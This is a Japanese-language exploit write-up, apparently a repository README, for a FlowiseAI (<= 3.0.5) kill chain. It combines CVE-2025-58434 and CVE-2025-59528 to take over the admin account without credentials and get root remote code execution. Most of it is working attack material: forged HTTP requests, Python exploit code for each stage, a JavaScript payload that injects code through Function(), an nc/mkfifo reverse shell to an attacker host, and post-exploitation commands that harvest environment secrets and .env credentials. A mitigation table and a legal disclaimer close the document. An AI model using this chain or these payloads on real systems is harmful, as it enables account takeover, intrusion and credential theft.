
FlowiseAIにおける認証不要のキルチェーンが完全なRCEに至る重大な脆弱性(CVE-2025-58434 + CVE-2025-59528)
FlowiseAI
<= 3.0.5に対する、認証なしのアカウント乗っ取りとリモートコード実行の連鎖。
5秒未満での完全なコンテナ侵害、認証情報不要。
左: FlowiseAI ログインページ — 右: CVE-2025-59528 による root シェル · uid=0(root)
このエクスプロイトは、2つの独立した重大な脆弱性を単一の完全自動化攻撃に連鎖させます。どちらか一方の脆弱性だけでは完全な侵害は保証されませんが、一緒になることで、認証情報ゼロからDockerコンテナ内のrootシェルに至る完全なキルチェーンを形成します。
[No credentials]
│
▼
① Abuse forgot-password endpoint (no auth required)
│ → Server responds with the victim's reset token in plaintext
▼
② Submit token to reset-password endpoint
│ → Attacker controls the admin password
▼
③ Login + retrieve Bearer API key
│ → Full authenticated session established
▼
④ Send JavaScript payload via customMCP node
│ → Server evaluates it via Function() constructor
▼
[Root shell inside Docker container]
ゼロインタラクションの理由: 被害者はメールを受け取ったり、ログインアラートを見たり、目に見えるイベントをトリガーしたりすることは一切ありません。攻撃は完全にサーバーサイドで行われます。
CVSS 3.1: 9.8 致命的 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
影響を受けるバージョン: FlowiseAI <= 3.0.5 (クラウド + セルフホステッド)
アドバイザリ: GHSA-wgpv-6j63-x5ph
FlowiseAIには、「内部」リクエストという概念があります。これは、自身のサービス間で行われるAPI呼び出しであり、x-request-from: internal HTTPヘッダーで識別されます。/api/v1/account/forgot-passwordエンドポイントはこのヘッダーを使用して、認証を完全にスキップし、外部からの呼び出しの場合とは異なる、より詳細なレスポンスを返します。
問題は、このヘッダーは一切検証も制限もされていないことです。インターネット上の攻撃者は誰でもこれを送信できます。送信すると、パスワードリセットメールをトリガーする代わりに、APIは完全なユーザーレコードを応答します。これには、新しいパスワードを設定するためにすぐに使用できる有効なtempTokenが含まれています。
通常、パスワードリセットの流れは次のようになります:
User requests reset → Server generates token → Token sent by EMAIL → User clicks link → Password changed
ここでは、サーバーはメールのステップを完全にスキップし、トークンをHTTPレスポンスのボディに直接配置します。攻撃者はそれを捕捉し、リセットステップに直接進みます。メールへのアクセスは不要です。
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201 — 完全なユーザーレコードが露出{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
その後、tempTokenはリセットエンドポイントに直接送信されます。メールのやり取り、CAPTCHA、レート制限は一切ありません。

CVSS 3.1: 10.0 致命的 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
影響を受けるバージョン: FlowiseAI <= 3.0.5
アドバイザリ: GHSA-3gcm-f6qx-ff7p
FlowiseAIでは、ユーザーがサーバー設定をJSON文字列として提供してカスタムMCP(Model Context Protocol)ノードを定義できます。内部では、プラットフォームはこの設定を解析する必要がありますが、JavaScriptのFunction()コンストラクタを使用してそれを行います。これは機能的にeval()と同等です。
設定文字列は完全にサニタイズされずにシンクに到達します:
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — line 262
const result = Function('return ' + mcpServerConfig)();
// ↑ unsanitized user input — arbitrary JS execution
Function()がeval()と同様に危険な理由Function('return ' + code)()は以下のことを行います:
codeを本体とする新しいJavaScript関数を構築これにより、攻撃者はprocess、require、child_process、およびNode.jsランタイム全体にアクセスできる完全なJavaScript実行コンテキストを手に入れます。サンドボックスではありません。
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← attacker-controlled string
└─ substituteVariablesInString() ← no filtering, passes through
└─ convertToValidJSONString() ← no filtering, passes through
└─ Function('return ' + input)() ← arbitrary code executes here
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})
なぜ
mkfifoで/dev/tcpではないのか?
コンテナは/bin/shで動作し、/bin/bashではありません。/dev/tcpはbashのみの機能であり、標準のPOSIXシェルには存在しません。mkfifoは名前付きパイプを作成し、POSIX準拠のシェルで動作するため、リバースシェルをコンテナ環境間で移植可能にします。
エクスプロイトは4つの連続したステップで構成されており、それぞれがキルチェーンのフェーズに直接対応しています。
CVE-2025-58434)r1 = session.post(
f"{TARGET}/api/v1/account/forgot-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]
何が起こるか: サーバーはx-request-from: internalヘッダーにより、これが内部のサービス間呼び出しであると認識します。通常のメール送信パスをスキップし、完全なユーザーレコード(有効なパスワードリセットトークンを含む)をHTTPの201レスポンスボディに直接返します。
なぜ機能するか: ヘッダーチェックは純粋に文字列ベースであり、暗号検証はありません。どんな呼び出し元でも設定できます。バックエンドはリクエストの発信元を検証しません。
session.post(
f"{TARGET}/api/v1/account/reset-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)
何が起こるか: 盗まれたtempTokenが、攻撃者が選択した新しいパスワードとともに送信されます。サーバーはトークンを検証し(実際に存在し有効です)、メールが一致することを確認し、認証情報ハッシュを更新します。メール確認や二次チェックはありません。
なぜ機能するか: トークンの検証は、トークンが存在し有効期限が切れていないことだけを確認します。トークンを生成した呼び出し元とリセットを送信する呼び出し元が同一であるかどうかは検証されません。所有権は決して確認されません。
# Login with the newly set password
session.post(f"{TARGET}/api/v1/auth/login",
json={"email": EMAIL, "password": NEW_PASS})
# Fetch the Bearer API key needed for the RCE endpoint
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]
何が起こるか: 攻撃者の新しいパスワードでの通常のログインにより、完全な管理者セッション(クッキーベース)が確立されます。その後、そのセッションを使用してプラットフォームのデフォルトAPIキーを取得します。これはステップ4で使用するnode-load-methodエンドポイントへのリクエストを認証するために必要です。
なぜ機能するか: この時点で攻撃者は管理者です。認証情報を所有しています。セッションとAPIキーはサーバーによって正当に発行されます。
CVE-2025-59528)js_payload = (
'({x:(function(){const cp = process.mainModule.require("child_process"); '
f'cp.exec(`{revshell}`); return 1;}})()'
)
session.post(
f"{TARGET}/api/v1/node-load-method/customMCP",
headers={"Authorization": f"Bearer {api_key}"},
json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": js_payload}}
)
何が起こるか: ペイロードは、JSON互換オブジェクトに偽装した自己実行型JavaScript関数(IIFE)です。convertToValidJSONString()がそれを処理すると、その値はFunction('return ' + input)()の中に配置されます。これにより、完全なNode.jsランタイムアクセスを持つ生のJavaScriptとして実行されます。child_process.exec()がリバースシェルコマンドを発火し、攻撃者のリスナーへの接続を確立します。
なぜIIFEラッパーなのか? Function('return ' + x)パターンは、式が戻り値として使用可能であることを期待します。悪意のあるコードを({x: (function(){ ... })()})でラップすると、式全体がオブジェクトに評価される有効なJavaScriptになります。これによりパーサーを満足させつつ、副作用としてペイロードを実行します。
なぜnohup+disownなのか? HTTPリクエストにはタイムアウトがあります。プロセスを切り離さないと、リクエストがタイムアウトしたときにシェルが終了します。nohup+disownはリバースシェルをNode.jsプロセスから切り離し、独立して生存させます。
# 1. Start your listener first
nc -lvnp 4444
# 2. Run the full kill chain
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444
# 3. If the admin password was already reset in a prior attempt
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444 --skipreset
pip install requests
シェルが取得されると、コンテナは通常rootとして実行され、FlowiseAIアプリケーション環境全体にアクセスできます:
# Secrets and credentials
env # API keys, DB URIs, service credentials in environment vars
cat .env # FlowiseAI config file — database passwords, JWT secrets
# Application internals
ls /app/packages/ # Monorepo structure — source code, configs, node_modules
cat /app/packages/server/.env
# Container context
cat /proc/1/cmdline # What process is PID 1 — confirms container environment
hostname # Container ID
cat /etc/hosts # Internal network map — other services reachable
# Lateral movement candidates
env | grep -i "db\|mongo\|postgres\|redis\|key\|secret\|token\|pass"
このリポジトリおよび関連するすべてのコードは、教育目的および許可されたセキュリティ研究目的のみで公開されています。
両方の脆弱性は公に開示されており、FlowiseAI 3.0.6 以降で修正されています。自分が所有していないシステム、または明示的な書面による許可を得ずに評価することは、適用される法律(米国コンピュータ詐欺および悪用取締法 (CFAA)、英国コンピュータ不正使用法、EU NIS2指令など、ただしこれらに限定されない)の下で違法となります。
著者は、この資料の誤用に起因するいかなる損害についても責任を負いません。
0H4K3D · CVE Team
| プロパティ | 詳細 |
|---|
| 認証情報不要 | 攻撃者はターゲットIP以外何も持たずに開始します |
| 被害者の操作不要 | フィッシング、クリック、ソーシャルエンジニアリングはありません |
| レート制限なし | リセットエンドポイントにスロットリングがなく、必要ならブルートフォース可能 |
| CAPTCHAなし | リセットフローに人間による検証がありません |
| メール確認なし | パスワード変更は即座に行われ、無音で、元に戻せません |
| RCEにおける完全なNode.jsランタイム | child_process、ファイルシステム、ネットワーク — サンドボックスなし |
| Docker内でrootとして実行 | コンテナは通常rootとして起動され、完全なファイルシステムアクセス |
| クラウド+セルフホステッドに影響 | <= 3.0.5 のすべてのデプロイメントが脆弱 |
| フラグ | 説明 | 必須 |
|---|
-ip | ターゲットIPアドレス | ✅ |
-lhost | リバースシェルコールバック用のあなたのIP | ✅ |
-lport | リスニングポート | ✅ |
--skipreset | CVE-2025-58434(フェーズ1および2)をスキップ — アカウントが既に侵害されている場合に使用 | ❌ |
| 修正 | 優先度 |
|---|
FlowiseAI ≥ 3.0.6 にアップグレード | 🔴 即時 |
リバースプロキシでx-request-from: internalをブロック — インターネットから来るべきではありません | 🔴 即時 |
/api/v1/account/* を認証済みセッションのみに制限 | 🔴 即時 |
mcpServerConfig をサニタイズ — ユーザー入力を Function() や eval() に渡さない | 🔴 即時 |
| すべてのパスワードリセットエンドポイントにレート制限とCAPTCHAを追加 | 🔴 即時 |
| パブリック公開が不要な場合はFlowiseAIインスタンスをインターネットから隔離 | 🟠 高 |
| コンテナを非rootユーザーとして実行 | 🟠 高 |
| パスワードリセットおよびMCPエンドポイントに異常検知を有効化 | 🟡 中 |
x-request-from を受け入れるすべてのエンドポイントを監査し、外部から呼び出せないことを確認 | 🟡 中 |